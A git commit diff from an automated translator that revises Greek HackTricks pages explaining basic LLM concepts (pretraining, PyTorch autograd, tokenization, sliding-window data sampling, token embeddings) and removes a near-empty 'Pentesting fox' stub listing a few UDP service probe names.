Translated ['src/AI/AI-llm-architecture/0.-basic-llm-concepts.md', 'src/

This commit is contained in:
Translator 2025-07-08 13:14:36 +00:00
parent 369028afaa
commit bd41edc548
163 changed files with 987 additions and 12938 deletions

View File

@ -1,29 +0,0 @@
# 1911 - Pentesting fox
{{#include ./banners/hacktricks-training.md}}
Και περισσότερες υπηρεσίες:
ubiquiti-discover udp "Ubiquiti Networks Device"
dht udp "DHT Nodes"
5060 udp sip "SIP/"
![](<images/image (273).png>)
![](<images/image (345) (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
InfluxDB
![](<images/image (337).png>)
![](<images/image (338).png>)
![](<images/image (339).png>)
![](<images/image (340).png>)
![](<images/image (341).png>)
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,3 +0,0 @@
{{#include ./banners/hacktricks-training.md}}
{{#include ./banners/hacktricks-training.md}}

View File

@ -1,14 +1,16 @@
# 0. Βασικές έννοιες LLM
{{#include /banners/hacktricks-training.md}}
## Προεκπαίδευση
Η προεκπαίδευση είναι η θεμελιώδης φάση στην ανάπτυξη ενός μεγάλου γλωσσικού μοντέλου (LLM) όπου το μοντέλο εκτίθεται σε τεράστιες και ποικιλόμορφες ποσότητες δεδομένων κειμένου. Κατά τη διάρκεια αυτής της φάσης, **το LLM μαθαίνει τις θεμελιώδεις δομές, τα μοτίβα και τις αποχρώσεις της γλώσσας**, συμπεριλαμβανομένης της γραμματικής, του λεξιλογίου, της σύνταξης και των συμφραζομένων σχέσεων. Επεξεργαζόμενο αυτά τα εκτενή δεδομένα, το μοντέλο αποκτά μια ευρεία κατανόηση της γλώσσας και της γενικής γνώσης του κόσμου. Αυτή η ολοκληρωμένη βάση επιτρέπει στο LLM να παράγει συνεκτικό και σχετικό κείμενο. Στη συνέχεια, αυτό το προεκπαιδευμένο μοντέλο μπορεί να υποβληθεί σε λεπτομερή εκπαίδευση, όπου εκπαιδεύεται περαιτέρω σε εξειδικευμένα σύνολα δεδομένων για να προσαρμόσει τις ικανότητές του σε συγκεκριμένες εργασίες ή τομείς, βελτιώνοντας την απόδοσή του και τη σχετικότητα σε στοχευμένες εφαρμογές.
Η προεκπαίδευση είναι η θεμελιώδης φάση στην ανάπτυξη ενός μεγάλου γλωσσικού μοντέλου (LLM) όπου το μοντέλο εκτίθεται σε τεράστιες και ποικιλόμορφες ποσότητες δεδομένων κειμένου. Κατά τη διάρκεια αυτής της φάσης, **το LLM μαθαίνει τις θεμελιώδεις δομές, τα μοτίβα και τις αποχρώσεις της γλώσσας**, συμπεριλαμβανομένης της γραμματικής, του λεξιλογίου, της σύνταξης και των συμφραζομένων σχέσεων. Επεξεργαζόμενο αυτά τα εκτενή δεδομένα, το μοντέλο αποκτά μια ευρεία κατανόηση της γλώσσας και της γενικής γνώσης του κόσμου. Αυτή η ολοκληρωμένη βάση επιτρέπει στο LLM να παράγει συνεκτικό και σχετικό κείμενο με το συμφραζόμενο. Στη συνέχεια, αυτό το προεκπαιδευμένο μοντέλο μπορεί να υποβληθεί σε λεπτομερή εκπαίδευση, όπου εκπαιδεύεται περαιτέρω σε εξειδικευμένα σύνολα δεδομένων για να προσαρμόσει τις ικανότητές του σε συγκεκριμένες εργασίες ή τομείς, βελτιώνοντας την απόδοσή του και τη σχετικότητα σε στοχευμένες εφαρμογές.
## Κύρια στοιχεία LLM
Συνήθως, ένα LLM χαρακτηρίζεται από τη διαμόρφωση που χρησιμοποιείται για την εκπαίδευσή του. Αυτά είναι τα κοινά στοιχεία κατά την εκπαίδευση ενός LLM:
- **Παράμετροι**: Οι παράμετροι είναι τα **μαθησιακά βάρη και προκαταλήψεις** στο νευρωνικό δίκτυο. Αυτοί είναι οι αριθμοί που η διαδικασία εκπαίδευσης προσαρμόζει για να ελαχιστοποιήσει τη συνάρτηση απώλειας και να βελτιώσει την απόδοση του μοντέλου στην εργασία. Τα LLM συνήθως χρησιμοποιούν εκατομμύρια παραμέτρους.
- **Παράμετροι**: Οι παράμετροι είναι τα **μαθησιακά βάρη και οι προκαταλήψεις** στο νευρωνικό δίκτυο. Αυτοί είναι οι αριθμοί που προσαρμόζει η διαδικασία εκπαίδευσης για να ελαχιστοποιήσει τη συνάρτηση απώλειας και να βελτιώσει την απόδοση του μοντέλου στην εργασία. Τα LLM συνήθως χρησιμοποιούν εκατομμύρια παραμέτρους.
- **Μήκος συμφραζομένων**: Αυτό είναι το μέγιστο μήκος κάθε πρότασης που χρησιμοποιείται για την προεκπαίδευση του LLM.
- **Διάσταση ενσωμάτωσης**: Το μέγεθος του διανύσματος που χρησιμοποιείται για να αναπαραστήσει κάθε token ή λέξη. Τα LLM συνήθως χρησιμοποιούν δισεκατομμύρια διαστάσεις.
- **Κρυφή διάσταση**: Το μέγεθος των κρυφών στρωμάτων στο νευρωνικό δίκτυο.
@ -45,7 +47,7 @@ GPT_CONFIG_124M = {
### PyTorch Tensors vs. NumPy Arrays
Ενώ τα tensors του PyTorch είναι παρόμοια με τους πίνακες NumPy στην ικανότητά τους να αποθηκεύουν και να χειρίζονται αριθμητικά δεδομένα, προσφέρουν επιπλέον λειτουργίες που είναι κρίσιμες για τη βαθιά μάθηση:
Ενώ τα tensors του PyTorch είναι παρόμοια με τους πίνακες NumPy στην ικανότητά τους να αποθηκεύουν και να χειρίζονται αριθμητικά δεδομένα, προσφέρουν επιπλέον λειτουργίες κρίσιμες για τη βαθιά μάθηση:
- **Automatic Differentiation**: Τα tensors του PyTorch υποστηρίζουν αυτόματη υπολογισμό παραγώγων (autograd), που απλοποιεί τη διαδικασία υπολογισμού παραγώγων που απαιτούνται για την εκπαίδευση νευρωνικών δικτύων.
- **GPU Acceleration**: Τα tensors στο PyTorch μπορούν να μεταφερθούν και να υπολογιστούν σε GPUs, επιταχύνοντας σημαντικά τους υπολογισμούς μεγάλης κλίμακας.
@ -103,7 +105,7 @@ print(tensor2d.shape) # Output: torch.Size([2, 2])
reshaped = tensor2d.reshape(4, 1)
```
- **Μεταθέτοντας Τεσσάρων**: Χρησιμοποιήστε το `.T` για να μεταθέσετε ένα 2D τεσσάρο.
- **Μεταθέσεις Τεσσάρων**: Χρησιμοποιήστε το `.T` για να μεταθέσετε ένα 2D τεσσάρο.
```python
transposed = tensor2d.T
@ -149,7 +151,7 @@ result = tensor2d @ tensor2d.T
Όπου:
- `σ(z)` είναι η συνάρτηση sigmoid.
- `σ(z)` είναι η συνάρτηση σιγμοειδούς.
- `y=1.0` είναι η στοχευμένη ετικέτα.
- `L` είναι η απώλεια.
@ -221,7 +223,7 @@ Gradient w.r.t b: tensor([-0.0817])
### **4. PyTorch Implementation**
Το PyTorch απλοποιεί αυτή τη διαδικασία με τον κινητήρα autograd του.
Το PyTorch απλοποιεί αυτή τη διαδικασία με την μηχανή autograd του.
```python
import torch
import torch.nn as nn
@ -280,6 +282,8 @@ print(f"Gradient of {name}: {param.grad}")
### **6. Πλεονεκτήματα της Αυτόματης Διαφοροποίησης**
- **Efficiency:** Αποφεύγει περιττούς υπολογισμούς επαναχρησιμοποιώντας ενδιάμεσα αποτελέσματα.
- **Accuracy:** Παρέχει ακριβείς παραγώγους μέχρι την ακρίβεια της μηχανής.
- **Ease of Use:** Εξαλείφει τον χειροκίνητο υπολογισμό παραγώγων.
- **Αποτελεσματικότητα:** Αποφεύγει περιττούς υπολογισμούς επαναχρησιμοποιώντας ενδιάμεσα αποτελέσματα.
- **Ακρίβεια:** Παρέχει ακριβείς παραγώγους μέχρι την ακρίβεια της μηχανής.
- **Ευκολία Χρήσης:** Εξαλείφει τον χειροκίνητο υπολογισμό παραγώγων.
{{#include /banners/hacktricks-training.md}}

View File

@ -1,5 +1,7 @@
# 1. Tokenizing
{{#include /banners/hacktricks-training.md}}
## Tokenizing
**Tokenizing** είναι η διαδικασία διάσπασης δεδομένων, όπως το κείμενο, σε μικρότερα, διαχειρίσιμα κομμάτια που ονομάζονται _tokens_. Κάθε token ανατίθεται σε έναν μοναδικό αριθμητικό αναγνωριστικό (ID). Αυτό είναι ένα θεμελιώδες βήμα στην προετοιμασία του κειμένου για επεξεργασία από μοντέλα μηχανικής μάθησης, ειδικά στην επεξεργασία φυσικής γλώσσας (NLP).
@ -15,7 +17,7 @@
Κείμενο: `"Hello, world!"`\
Tokens: `["Hello", ",", "world", "!"]`
2. **Creating a Vocabulary:**
- Για να μετατρέψει τα tokens σε αριθμητικά IDs, δημιουργείται ένα **λεξιλόγιο**. Αυτό το λεξιλόγιο απαριθμεί όλα τα μοναδικά tokens (λέξεις και σύμβολα) και αναθέτει σε κάθε ένα έναν συγκεκριμένο ID.
- Για να μετατραπούν τα tokens σε αριθμητικά IDs, δημιουργείται ένα **λεξιλόγιο**. Αυτό το λεξιλόγιο απαριθμεί όλα τα μοναδικά tokens (λέξεις και σύμβολα) και αναθέτει σε κάθε ένα έναν συγκεκριμένο ID.
- **Special Tokens:** Αυτά είναι ειδικά σύμβολα που προστίθενται στο λεξιλόγιο για να χειριστούν διάφορα σενάρια:
- `[BOS]` (Beginning of Sequence): Υποδεικνύει την αρχή ενός κειμένου.
- `[EOS]` (End of Sequence): Υποδεικνύει το τέλος ενός κειμένου.
@ -40,17 +42,17 @@ _(Υποθέτοντας ότι το `[UNK]` έχει ID `987`)_
- Συγχωνεύει επαναληπτικά τα πιο συχνά ζεύγη tokens σε ένα μόνο token.
- Συνεχίζει μέχρι να μην μπορούν να συγχωνευτούν περισσότερα συχνά ζεύγη.
- **Benefits:**
- Εξαλείφει την ανάγκη για ένα token `[UNK]` καθώς όλες οι λέξεις μπορούν να αναπαρασταθούν συνδυάζοντας υπάρχοντα υπολέξεις tokens.
- Εξαλείφει την ανάγκη για ένα token `[UNK]` καθώς όλες οι λέξεις μπορούν να αναπαρασταθούν συνδυάζοντας υπάρχοντα subword tokens.
- Πιο αποδοτικό και ευέλικτο λεξιλόγιο.
- _Example:_\
`"playing"` μπορεί να διασπαστεί ως `["play", "ing"]` αν το `"play"` και το `"ing"` είναι συχνές υπολέξεις.
`"playing"` μπορεί να διασπαστεί ως `["play", "ing"]` αν το `"play"` και το `"ing"` είναι συχνά subwords.
2. **WordPiece:**
- **Used By:** Μοντέλα όπως το BERT.
- **Purpose:** Παρόμοιο με το BPE, διασπά τις λέξεις σε υπομονάδες για να χειριστεί άγνωστες λέξεις και να μειώσει το μέγεθος του λεξιλογίου.
- **How It Works:**
- Ξεκινά με ένα βασικό λεξιλόγιο από μεμονωμένους χαρακτήρες.
- Προσθέτει επαναληπτικά την πιο συχνή υπολέξη που μεγιστοποιεί την πιθανότητα των δεδομένων εκπαίδευσης.
- Χρησιμοποιεί ένα πιθανοτικό μοντέλο για να αποφασίσει ποιες υπολέξεις να συγχωνεύσει.
- Προσθέτει επαναληπτικά το πιο συχνό subword που μεγιστοποιεί την πιθανότητα των δεδομένων εκπαίδευσης.
- Χρησιμοποιεί ένα πιθανοτικό μοντέλο για να αποφασίσει ποια subwords να συγχωνεύσει.
- **Benefits:**
- Ισορροπεί μεταξύ του να έχει ένα διαχειρίσιμο μέγεθος λεξιλογίου και να αναπαριστά αποτελεσματικά τις λέξεις.
- Χειρίζεται αποδοτικά σπάνιες και σύνθετες λέξεις.
@ -58,7 +60,7 @@ _(Υποθέτοντας ότι το `[UNK]` έχει ID `987`)_
`"unhappiness"` μπορεί να διασπαστεί ως `["un", "happiness"]` ή `["un", "happy", "ness"]` ανάλογα με το λεξιλόγιο.
3. **Unigram Language Model:**
- **Used By:** Μοντέλα όπως το SentencePiece.
- **Purpose:** Χρησιμοποιεί ένα πιθανοτικό μοντέλο για να προσδιορίσει το πιο πιθανό σύνολο υπολέξεων tokens.
- **Purpose:** Χρησιμοποιεί ένα πιθανοτικό μοντέλο για να προσδιορίσει το πιο πιθανό σύνολο subword tokens.
- **How It Works:**
- Ξεκινά με ένα μεγάλο σύνολο πιθανών tokens.
- Αφαιρεί επαναληπτικά tokens που λιγότερο βελτιώνουν την πιθανότητα του μοντέλου για τα δεδομένα εκπαίδευσης.
@ -67,7 +69,7 @@ _(Υποθέτοντας ότι το `[UNK]` έχει ID `987`)_
- Ευέλικτο και μπορεί να μοντελοποιήσει τη γλώσσα πιο φυσικά.
- Συχνά οδηγεί σε πιο αποδοτικές και συμπαγείς tokenizations.
- _Example:_\
`"internationalization"` μπορεί να διασπαστεί σε μικρότερες, σημασιολογικά σημαντικές υπολέξεις όπως `["international", "ization"]`.
`"internationalization"` μπορεί να διασπαστεί σε μικρότερες, σημασιολογικά σημαντικές υπομονάδες όπως `["international", "ization"]`.
## Code Example
@ -93,3 +95,6 @@ print(token_ids[:50])
## Αναφορές
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,5 +1,7 @@
# 2. Δειγματοληψία Δεδομένων
{{#include /banners/hacktricks-training.md}}
## **Δειγματοληψία Δεδομένων**
Η **Δειγματοληψία Δεδομένων** είναι μια κρίσιμη διαδικασία στην προετοιμασία δεδομένων για την εκπαίδευση μεγάλων γλωσσικών μοντέλων (LLMs) όπως το GPT. Περιλαμβάνει την οργάνωση των κειμένων σε εισόδους και στόχους που το μοντέλο χρησιμοποιεί για να μάθει πώς να προβλέπει την επόμενη λέξη (ή το token) με βάση τις προηγούμενες λέξεις. Η σωστή δειγματοληψία δεδομένων διασφαλίζει ότι το μοντέλο συλλαμβάνει αποτελεσματικά τα γλωσσικά μοτίβα και τις εξαρτήσεις.
@ -7,15 +9,15 @@
> [!TIP]
> Ο στόχος αυτής της δεύτερης φάσης είναι πολύ απλός: **Δειγματοληψία των εισερχόμενων δεδομένων και προετοιμασία τους για τη φάση εκπαίδευσης, συνήθως διαχωρίζοντας το σύνολο δεδομένων σε προτάσεις συγκεκριμένου μήκους και δημιουργώντας επίσης την αναμενόμενη απάντηση.**
### **Γιατί η Δειγματοληψία Δεδομένων έχει Σημασία**
### **Γιατί η Δειγματοληψία Δεδομένων Έχει Σημασία**
Τα LLMs όπως το GPT εκπαιδεύονται να παράγουν ή να προβλέπουν κείμενο κατανοώντας το πλαίσιο που παρέχεται από τις προηγούμενες λέξεις. Για να επιτευχθεί αυτό, τα δεδομένα εκπαίδευσης πρέπει να είναι δομημένα με τρόπο που το μοντέλο να μπορεί να μάθει τη σχέση μεταξύ ακολουθιών λέξεων και των επόμενων λέξεων τους. Αυτή η δομημένη προσέγγιση επιτρέπει στο μοντέλο να γενικεύει και να παράγει συνεκτικό και σχετικό κείμενο.
### **Βασικές Έννοιες στη Δειγματοληψία Δεδομένων**
1. **Tokenization:** Διαχωρισμός του κειμένου σε μικρότερες μονάδες που ονομάζονται tokens (π.χ., λέξεις, υπολέξεις ή χαρακτήρες).
2. **Μήκος Ακολουθίας (max_length):** Ο αριθμός των tokens σε κάθε ακολουθία εισόδου.
3. **Ολισθητό Παράθυρο:** Μια μέθοδος για τη δημιουργία επικαλυπτόμενων ακολουθιών εισόδου μετακινώντας ένα παράθυρο πάνω από το κειμένο που έχει διαχωριστεί σε tokens.
2. **Μήκος Ακολουθίας (max_length):** Ο αριθμός των tokens σε κάθε εισερχόμενη ακολουθία.
3. **Ολισθητό Παράθυρο:** Μια μέθοδος για τη δημιουργία επικαλυπτόμενων εισερχόμενων ακολουθιών μετακινώντας ένα παράθυρο πάνω από το κειμένο που έχει διαχωριστεί σε tokens.
4. **Stride:** Ο αριθμός των tokens που το ολισθητό παράθυρο μετακινείται προς τα εμπρός για να δημιουργήσει την επόμενη ακολουθία.
### **Βήμα-Βήμα Παράδειγμα**
@ -35,18 +37,18 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
**Παράμετροι**
- **Μέγιστο Μήκος Ακολουθίας (max_length):** 4 tokens
- **Βήμα Ολίσθησης:** 1 token
- **Βήμα Ολισθηρού Παραθύρου:** 1 token
**Δημιουργία Εισόδων και Στοχαστικών Ακολουθιών**
**Δημιουργία Εισόδων και Στοχευμένων Ακολουθιών**
1. **Προσέγγιση Ολίσθησης:**
1. **Προσέγγιση Ολισθηρού Παραθύρου:**
- **Εισόδους:** Κάθε είσοδος αποτελείται από `max_length` tokens.
- **Στοχαστικές Ακολουθίες:** Κάθε στοχαστική ακολουθία αποτελείται από τα tokens που ακολουθούν άμεσα την αντίστοιχη είσοδο.
- **Στοχευμένες Ακολουθίες:** Κάθε στοχευμένη ακολουθία αποτελείται από τα tokens που ακολουθούν άμεσα την αντίστοιχη είσοδο.
2. **Δημιουργία Ακολουθιών:**
<table><thead><tr><th width="177">Θέση Παραθύρου</th><th>Είσοδος</th><th>Στοχαστική Ακολουθία</th></tr></thead><tbody><tr><td>1</td><td>["Lorem", "ipsum", "dolor", "sit"]</td><td>["ipsum", "dolor", "sit", "amet,"]</td></tr><tr><td>2</td><td>["ipsum", "dolor", "sit", "amet,"]</td><td>["dolor", "sit", "amet,", "consectetur"]</td></tr><tr><td>3</td><td>["dolor", "sit", "amet,", "consectetur"]</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td></tr><tr><td>4</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td><td>["amet,", "consectetur", "adipiscing", "elit."]</td></tr></tbody></table>
<table><thead><tr><th width="177">Θέση Παραθύρου</th><th>Είσοδος</th><th>Στοχευμένη Ακολουθία</th></tr></thead><tbody><tr><td>1</td><td>["Lorem", "ipsum", "dolor", "sit"]</td><td>["ipsum", "dolor", "sit", "amet,"]</td></tr><tr><td>2</td><td>["ipsum", "dolor", "sit", "amet,"]</td><td>["dolor", "sit", "amet,", "consectetur"]</td></tr><tr><td>3</td><td>["dolor", "sit", "amet,", "consectetur"]</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td></tr><tr><td>4</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td><td>["amet,", "consectetur", "adipiscing", "elit."]</td></tr></tbody></table>
3. **Αποτελέσματα Εισόδων και Στοχαστικών Πινάκων:**
3. **Αποτελέσματα Εισόδων και Στοχευμένων Πινάκων:**
- **Είσοδος:**
@ -59,7 +61,7 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
]
```
- **Στοχαστική Ακολουθία:**
- **Στοχευμένη:**
```python
[
@ -74,26 +76,26 @@ Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing",
<table><thead><tr><th width="222">Θέση Token</th><th>Token</th></tr></thead><tbody><tr><td>1</td><td>Lorem</td></tr><tr><td>2</td><td>ipsum</td></tr><tr><td>3</td><td>dolor</td></tr><tr><td>4</td><td>sit</td></tr><tr><td>5</td><td>amet,</td></tr><tr><td>6</td><td>consectetur</td></tr><tr><td>7</td><td>adipiscing</td></tr><tr><td>8</td><td>elit.</td></tr></tbody></table>
**Ολίσθηση με Βήμα 1:**
**Ολισθηρό Παράθυρο με Βήμα 1:**
- **Πρώτο Παράθυρο (Θέσεις 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Στοχαστική Ακολουθία:** \["ipsum", "dolor", "sit", "amet,"]
- **Δεύτερο Παράθυρο (Θέσεις 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Στοχαστική Ακολουθία:** \["dolor", "sit", "amet,", "consectetur"]
- **Τρίτο Παράθυρο (Θέσεις 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Στοχαστική Ακολουθία:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Τέταρτο Παράθυρο (Θέσεις 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Στοχαστική Ακολουθία:** \["amet,", "consectetur", "adipiscing", "elit."]
- **Πρώτο Παράθυρο (Θέσεις 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Στοχευμένη:** \["ipsum", "dolor", "sit", "amet,"]
- **Δεύτερο Παράθυρο (Θέσεις 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Στοχευμένη:** \["dolor", "sit", "amet,", "consectetur"]
- **Τρίτο Παράθυρο (Θέσεις 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Στοχευμένη:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Τέταρτο Παράθυρο (Θέσεις 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Στοχευμένη:** \["amet,", "consectetur", "adipiscing", "elit."]
**Κατανόηση Βήματος**
- **Βήμα 1:** Το παράθυρο προχωράει μπροστά κατά ένα token κάθε φορά, με αποτέλεσμα πολύ επικαλυπτόμενες ακολουθίες. Αυτό μπορεί να οδηγήσει σε καλύτερη εκμάθηση των συμφραζομένων αλλά μπορεί να αυξήσει τον κίνδυνο υπερπροσαρμογής καθώς τα παρόμοια σημεία δεδομένων επαναλαμβάνονται.
- **Βήμα 2:** Το παράθυρο προχωράει μπροστά κατά δύο tokens κάθε φορά, μειώνοντας την επικάλυψη. Αυτό μειώνει την πλεονασματικότητα και το υπολογιστικό φορτίο αλλά μπορεί να χάσει κάποιες λεπτομέρειες συμφραζομένων.
- **Βήμα Ίσο με το max_length:** Το παράθυρο προχωράει μπροστά κατά το συνολικό μέγεθος του παραθύρου, με αποτέλεσμα μη επικαλυπτόμενες ακολουθίες. Αυτό ελαχιστοποιεί την πλεονασματικότητα των δεδομένων αλλά μπορεί να περιορίσει την ικανότητα του μοντέλου να μάθει εξαρτήσεις μεταξύ των ακολουθιών.
- **Βήμα Ίσο με max_length:** Το παράθυρο προχωράει μπροστά κατά το συνολικό μέγεθος του παραθύρου, με αποτέλεσμα μη επικαλυπτόμενες ακολουθίες. Αυτό ελαχιστοποιεί την πλεονασματικότητα των δεδομένων αλλά μπορεί να περιορίσει την ικανότητα του μοντέλου να μάθει εξαρτήσεις μεταξύ των ακολουθιών.
**Παράδειγμα με Βήμα 2:**
Χρησιμοποιώντας το ίδιο κείμενο με tokens και `max_length` 4:
Χρησιμοποιώντας το ίδιο κωδικοποιημένο κείμενο και `max_length` 4:
- **Πρώτο Παράθυρο (Θέσεις 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Στοχαστική Ακολουθία:** \["ipsum", "dolor", "sit", "amet,"]
- **Δεύτερο Παράθυρο (Θέσεις 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Στοχαστική Ακολουθία:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Τρίτο Παράθυρο (Θέσεις 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Στοχαστική Ακολουθία:** \["consectetur", "adipiscing", "elit.", "sed"] _(Υποθέτοντας συνέχεια)_
- **Πρώτο Παράθυρο (Θέσεις 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Στοχευμένη:** \["ipsum", "dolor", "sit", "amet,"]
- **Δεύτερο Παράθυρο (Θέσεις 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Στοχευμένη:** \["sit", "amet,", "consectetur", "adipiscing"]
- **Τρίτο Παράθυρο (Θέσεις 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Στοχευμένη:** \["consectetur", "adipiscing", "elit.", "sed"] _(Υποθέτοντας συνέχεια)_
## Παράδειγμα Κώδικα
@ -231,3 +233,6 @@ tensor([[ 367, 2885, 1464, 1807],
## Αναφορές
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
{{#include /banners/hacktricks-training.md}}

View File

@ -1,21 +1,23 @@
# 3. Token Embeddings
{{#include /banners/hacktricks-training.md}}
## Token Embeddings
Μετά την τοκενικοποίηση των δεδομένων κειμένου, το επόμενο κρίσιμο βήμα στην προετοιμασία των δεδομένων για την εκπαίδευση μεγάλων γλωσσικών μοντέλων (LLMs) όπως το GPT είναι η δημιουργία **token embeddings**. Τα token embeddings μετατρέπουν διακριτούς τοκένες (όπως λέξεις ή υπολέξεις) σε συνεχείς αριθμητικούς διανύσματα που το μοντέλο μπορεί να επεξεργαστεί και να μάθει από αυτά. Αυτή η εξήγηση αναλύει τα token embeddings, την αρχικοποίησή τους, τη χρήση τους και τον ρόλο των θέσεων embeddings στην ενίσχυση της κατανόησης του μοντέλου για τις ακολουθίες τοκένων.
> [!TIP]
> Ο στόχος αυτής της τρίτης φάσης είναι πολύ απλός: **Αναθέστε σε κάθε από τους προηγούμενους τοκένες στο λεξιλόγιο ένα διάνυσμα των επιθυμητών διαστάσεων για να εκπαιδεύσετε το μοντέλο.** Κάθε λέξη στο λεξιλόγιο θα έχει ένα σημείο σε έναν χώρο X διαστάσεων.\
> Σημειώστε ότι αρχικά η θέση κάθε λέξης στο χώρο είναι απλώς αρχικοποιημένη "τυχαία" και αυτές οι θέσεις είναι παραμέτροι που εκπαιδεύονται (θα βελτιωθούν κατά τη διάρκεια της εκπαίδευσης).
> Ο στόχος αυτής της τρίτης φάσης είναι πολύ απλός: **Αναθέστε σε κάθε από τους προηγούμενους τοκένες στο λεξιλόγιο ένα διανύσμα των επιθυμητών διαστάσεων για να εκπαιδεύσετε το μοντέλο.** Κάθε λέξη στο λεξιλόγιο θα έχει ένα σημείο σε έναν χώρο X διαστάσεων.\
> Σημειώστε ότι αρχικά η θέση κάθε λέξης στο χώρο είναι απλώς αρχικοποιημένη "τυχαία" και αυτές οι θέσεις είναι παραμέτροι που μπορούν να εκπαιδευτούν (θα βελτιωθούν κατά τη διάρκεια της εκπαίδευσης).
>
> Επιπλέον, κατά τη διάρκεια της τοκενικής ενσωμάτωσης **δημιουργείται ένα άλλο επίπεδο ενσωματώσεων** που αντιπροσωπεύει (σε αυτή την περίπτωση) τη **απόλυτη θέση της λέξης στην προτασιακή εκπαίδευση**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα).
> Επιπλέον, κατά τη διάρκεια της **τοκενικής ενσωμάτωσης δημιουργείται μια άλλη στρώση ενσωματώσεων** που αντιπροσωπεύει (σε αυτή την περίπτωση) τη **απόλυτη θέση της λέξης στην προτασιακή εκπαίδευση**. Με αυτόν τον τρόπο, μια λέξη σε διαφορετικές θέσεις στην πρόταση θα έχει διαφορετική αναπαράσταση (νόημα).
### **What Are Token Embeddings?**
**Token Embeddings** είναι αριθμητικές αναπαραστάσεις τοκένων σε έναν συνεχόμενο χώρο διανυσμάτων. Κάθε τοκέν στο λεξιλόγιο συνδέεται με ένα μοναδικό διάνυσμα σταθερών διαστάσεων. Αυτά τα διανύσματα αποτυπώνουν τη σημασιολογική και συντακτική πληροφορία σχετικά με τους τοκένες, επιτρέποντας στο μοντέλο να κατανοήσει τις σχέσεις και τα μοτίβα στα δεδομένα.
**Token Embeddings** είναι αριθμητικές αναπαραστάσεις τοκένων σε έναν συνεχόμενο χώρο διανυσμάτων. Κάθε τοκέν στο λεξιλόγιο συνδέεται με ένα μοναδικό διανύσμα σταθερών διαστάσεων. Αυτά τα διανύσματα αποτυπώνουν τη σημασιολογική και συντακτική πληροφορία σχετικά με τους τοκένες, επιτρέποντας στο μοντέλο να κατανοήσει τις σχέσεις και τα μοτίβα στα δεδομένα.
- **Vocabulary Size:** Ο συνολικός αριθμός μοναδικών τοκένων (π.χ., λέξεις, υπολέξεις) στο λεξιλόγιο του μοντέλου.
- **Embedding Dimensions:** Ο αριθμός αριθμητικών τιμών (διαστάσεων) στο διάνυσμα κάθε τοκέν. Οι υψηλότερες διαστάσεις μπορούν να αποτυπώσουν πιο λεπτομερείς πληροφορίες αλλά απαιτούν περισσότερους υπολογιστικούς πόρους.
- **Embedding Dimensions:** Ο αριθμός αριθμητικών τιμών (διαστάσεων) στο διανύσμα κάθε τοκέν. Υψηλότερες διαστάσεις μπορούν να αποτυπώσουν πιο λεπτομερείς πληροφορίες αλλά απαιτούν περισσότερους υπολογιστικούς πόρους.
**Example:**
@ -70,7 +72,7 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
- Το token στον δείκτη `3` αναπαρίσταται από το διάνυσμα `[-0.4015, 0.9666, -1.1481]`.
- Αυτές οι τιμές είναι παραμέτροι που μπορούν να εκπαιδευτούν και που το μοντέλο θα προσαρμόσει κατά τη διάρκεια της εκπαίδευσης για να αναπαραστήσει καλύτερα το πλαίσιο και τη σημασία του token.
### **Πώς Λειτουργούν οι Ενσωματώσεις Tokens Κατά τη Διάρκεια της Εκπαίδευσης**
### **Πώς Λειτουργούν οι Ενσωματώσεις Token Κατά τη Διάρκεια της Εκπαίδευσης**
Κατά τη διάρκεια της εκπαίδευσης, κάθε token στα δεδομένα εισόδου μετατρέπεται στο αντίστοιχο διάνυσμά του. Αυτά τα διανύσματα χρησιμοποιούνται στη συνέχεια σε διάφορους υπολογισμούς μέσα στο μοντέλο, όπως μηχανισμούς προσοχής και στρώματα νευρωνικών δικτύων.
@ -83,7 +85,7 @@ tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
**Δομή Δεδομένων:**
- Κάθε παρτίδα αναπαρίσταται ως ένας 3D τενζόρ με σχήμα `(batch_size, max_length, embedding_dim)`.
- Για το παράδειγμά μας, το σχήμα θα ήταν `(8, 4, 256)`.
- Για το παράδειγμά μας, το σχήμα θα είναι `(8, 4, 256)`.
**Οπτικοποίηση:**
```css
@ -118,12 +120,12 @@ cssCopy codeBatch
```
**Εξήγηση:**
- Κάθε token στη σειρά αναπαρίσταται από ένα διανυσματικό 256 διαστάσεων.
- Κάθε token στη σειρά αναπαρίσταται από έναν διανυσματικό χώρο 256 διαστάσεων.
